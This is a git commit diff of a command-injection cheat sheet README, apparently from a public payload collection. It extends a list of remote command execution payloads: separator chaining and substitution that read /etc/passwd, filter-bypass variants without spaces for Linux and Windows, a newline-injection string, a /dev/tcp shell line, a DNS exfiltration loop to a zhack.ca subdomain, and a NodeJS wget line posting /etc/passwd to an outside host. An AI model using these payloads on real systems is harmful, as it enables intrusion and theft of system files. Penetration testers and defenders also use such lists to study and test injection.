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Command Exec - ``, $() and more bypasses

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Swissky 2017-09-23 23:30:40 +02:00
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Remote commands execution/README.md
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@ -1,9 +1,9 @@
# Remote Code Execution
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
# Remote Commands Execution
Remote Commands execution is a security vulnerability that allows an attacker to execute Commandss from a remote server.
## Exploits
Normal code execution, execute the command and voila :p
Normal Commands execution, execute the command and voila :p
```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
@ -12,15 +12,20 @@ bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```
Code execution by chaining commands
Commands execution by chaining commands
```
original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server `ls`
```
Code execution without space - Linux
Commands execution inside a command
```
original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```
Commands execution without space - Linux
```
swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
@ -44,18 +49,23 @@ Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab▸ ~ ▸ $ sh</dev/tcp/127.0.0.1/4242
```
Code execution without space - Windows
Commands execution without space - Windows
```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```
Code execution without spaces, $ or { } - Linux (Bash only)
Commands execution without spaces, $ or { } - Linux (Bash only)
```
IFS=,;`cat<<<uname,-a`
```
Commands execution with a line return
```
something%0Acat%20/etc/passwd
```
## Time based data exfiltration
Extracting data : char by char
```
@ -80,7 +90,7 @@ for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
## Environment based
NodeJS Code execution
NodeJS Commands execution
```
require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
```